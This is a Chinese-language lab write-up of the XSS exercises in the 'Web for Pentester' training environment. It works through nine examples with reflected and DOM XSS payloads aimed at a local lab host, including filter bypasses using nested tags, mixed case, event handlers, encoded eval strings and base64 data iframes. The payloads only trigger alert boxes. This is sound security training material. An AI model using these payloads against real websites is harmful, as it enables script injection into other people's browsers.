Web for pentester_writeup之XSS篇

XSS(跨站脚本攻击)

Example 1

反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段,

Payload:

http://192.168.219.136/xss/example1.php?name=<script>alert(1)</script>

Example 2

和例1相似,但是做了相关字符串正则过滤,过滤<script></script>字符串

 Paload1:

http://192.168.219.136/xss/example2.php?name=<scri<script>pt>alert(1)</scri</script>pt>

Paload2:

http://192.168.219.136/xss/example2.php?name=<Script>alert(1)</sCript>

Example 3

同样是过滤,使用例2的payload2无法成功

使用例2的payload1成功绕过过滤,可知新加了一层大小写过滤,但未考虑到标签包含标签方式过滤

Payload1:

http://192.168.219.136/xss/example3.php?name=<scri<script>pt>alert(1)</scri</script>pt>

还有一种方式,就是不使用script脚本

Payload2:

http://192.168.219.136/xss/example3.php?name=<img src=x onerror=alert(1)>

 Example 4

返回值变为error,测试其他payload,发现只要payload包含script字符就会报错,使用无script字符的脚本验证

Payload1:

http://192.168.219.136/xss/example4.php?name=<img src=x onerror=alert(1)>

Payload2:

http://192.168.219.136/xss/example4.php?name=<BODY ONLOAD=alert('XSS')>

成功弹窗。

Example 5

测试上述payload均报错,应该是过滤掉了alert字符,测试使用html实体编码均失败

http://192.168.219.136/xss/example5.php?name=<img src=x onerror=alert(1)>

http://192.168.219.136/xss/example5.php?name=<script>alert(1)</script>

使用eval执行编码绕过

Payload1(十进制)

http://192.168.219.136/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

Payload2(十六进制)

http://192.168.219.136/xss/example5.php?name=<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

 Payload3

http://192.168.219.136/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

OR

http://192.168.219.136/xss/example5.php?name=<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>

 Payload4((BASE64编码)将<<script>alert(1)</script>整个base64编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)

http://192.168.219.136/xss/example5.php?name=<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

 Payload5(prompt)

http://192.168.219.136/xss/example5.php?name=<img src=x onerror=prompt(1)>

 Example 6

使用上述的payload测试均无法成功弹窗,页面返回“ "; ”

发现返回payload后面的字符串

Payload1

http://192.168.219.136/xss/example6.php?name=<scri<script>pt>alert(1)</scri</script>pjkgkhhhhhhhhhhhhhhht><script>alert(1)</script>

为了找到具体的原因,设置Payload值为<script>alert(1)</script>,查看网页源代码

发现提交的东西赋入了变量a,故构造

Payload2

http://192.168.219.136/xss/example6.php?name=</script><script>alert(1);"

Example 7

使用</script><script>alert(1);"无法弹窗,直接查看源代码

发现对<>做了转义处理,通过闭合前后的单引号“’”,成功弹窗

Payload

http://192.168.219.136/xss/example7.php?name='; alert(1);'

OR(直接注释掉后面的单引号)

http://192.168.219.136/xss/example7.php?name='; alert(1)//

Example 8

开始有输入框了,猜测是存储性跨站脚本,输入<script>alert(1)</script>

无弹窗,查看源代码

尖括号被转义,尝试各种编码都失败了,查看参考答案发现还是反射型跨站脚本,一开始思路就错了,啪啪打脸。

漏洞点在于/xss/example8.php,通过在/xss/example8.php/[XSS_PAYLOAD]注入payload可以获取弹窗

Payload

http://192.168.219.136/xss/example8.php/"><script>alert(1)</script>

Example 9

这个的意思是指取地址栏#后的语句,然后也没做什么过滤,很简单的加入标签就好了

Payload

http://192.168.219.136/xss/example9.php?<script>alert(1)</script>

注:本关卡主要理解domxss的作用,在字符串带入中可以用?和#,如果用?需要和服务器交互,但是如果用#,则可以抓包看到实际上请求的xss脚本并未提交到服务器,这里可以更好的理解domxss,实际上不需要服务器的解析,实际上是利用浏览器的dom解析就可以完成,这是domxss与其他xss最本质的区别

注意(这里有点坑) :

用的ie浏览器可以实验成功

火狐和谷歌浏览器都会对<转码:%3Cscript%3Ealert(1)%3C/script%3E

Web for pentester_writeup之XSS篇的更多相关文章

  1. Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...

  2. Web for pentester_writeup之LDAP attacks篇

    Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...

  3. Web for pentester_writeup之File Upload篇

    Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...

  4. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  5. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  6. Web for pentester_writeup之File Include篇

    Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...

  7. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  8. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  9. Web For Pentester 学习笔记 - XSS篇

    XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...

随机推荐

  1. .Net Core 商城微服务项目系列(十一):MQ消费端独立为Window服务+消息处理服务

    之前使用MQ的时候是通过封装成dll发布Nuget包来使用,消息的发布和消费都耦合在使用的站点和服务里,这样会造成两个问题: 1.增加服务和站点的压力,因为每次消息的消费就意味着接口的调用,这部分的压 ...

  2. 运算符 字符串 for循环

    1. 运算符 1.1赋值运算符 = += -= *= /= //= %= **= 1.2比较运算符 < > = <= == != 1.3成员运算符 in not in 1.4逻辑运算 ...

  3. SSH实现无密码登录

    1.生成秘钥 : ssh-keygen -t rsa # -t 指定生成秘钥方式,生成秘钥过程需要三次回车 2.将生成的公钥传给 ssh 的对端 ssh-copy-id root@192.168.3. ...

  4. Windows搭建SVN服务器

    安装 1.下载地址:https://www.visualsvn.com/files/VisualSVN-Server-4.0.3-x64.msi 2.开始安装: 3.安装配置: 4.Next直到完成 ...

  5. vue图片点击放大预览

    第一种:viewerjs使用介绍(PC.移动端都兼容) 1.先安装依赖 npm install v-viewer --save 2.main.js内引用并注册调用 //main.js import V ...

  6. CS184.1X 计算机图形学导论 作业0

    1.框架下载 在网站上下载了VS2012版本的作业0的框架,由于我的电脑上的VS是2017版的,根据提示安装好C++的版本,并框架的解决方案 重定解决方案目标为2017版本. 点击运行,可以出来界面. ...

  7. Python3升级3.6强力Django+杀手级xadmin打造在线教育平台☝☝☝

    Python3升级3.6强力Django+杀手级xadmin打造在线教育平台☝☝☝ 教程 Xadmin安装方法: settings.py 的配置

  8. 深度长文回顾web基础组件

    什么是Serlvet ? 全称 server applet 运行在服务端的小程序: 首先来说,这个servlet是java语言编写的出来的应用程序,换句话说servlet拥有java语言全部的优点,比 ...

  9. 最简单的ArcGIS Engine应用程序(终)

    在上文的基础上,下面将使用简单的代码实现要素类属性的查看.(最简单的ArcGIS Engine应用程序(下)) 新增一个窗体,并从工具箱拖动DataGridView控件到该窗体中.设置该对象的Dock ...

  10. drf框架serializers中ModelSerializer类简化序列化和反序列化操作

    0905自我总结 drf框架serializers中ModelSerializer类 基于seriallizer类进行简化 https://www.cnblogs.com/pythonywy/p/11 ...